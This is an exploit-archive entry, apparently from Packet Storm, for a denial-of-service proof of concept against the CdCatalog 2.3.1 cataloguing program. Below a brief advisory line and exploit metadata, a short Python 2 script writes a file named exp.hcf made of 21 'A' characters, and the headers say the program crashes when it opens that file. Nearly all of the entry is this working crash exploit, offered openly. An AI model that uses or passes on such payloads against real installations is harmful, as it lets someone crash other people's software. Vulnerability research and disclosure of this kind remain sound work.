CdCatalog 2.3.1 Denial Of Service

CdCatalog version 2.3.1 suffers from a denial of service vulnerability.

MD5 | c44ffaccad78dc7ca3e6c9165f6bc1de

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# Exploit Title: CdCatalog 2.3.1 - Denial of Service (PoC)
# Dork: N/A
# Date: 2018-11-01
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://cdcat.sourceforge.net
# Software Link: https://netcologne.dl.sourceforge.net/project/cdcat/cdcat/cdcat-2.3.1/cdcat-2.3.1.tar.bz2
# Version: 2.3.1
# Category: Dos
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
 
# POC: 
# 1)
# CTRL+O & File/Open/exp.hcf
 
#!/usr/bin/python
     
buffer = "A" * 21
  
payload = buffer
try:
    f=open("exp.hcf","w")
    print "[+] Creating %s bytes evil payload." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created."

Source: packetstormsecurity.com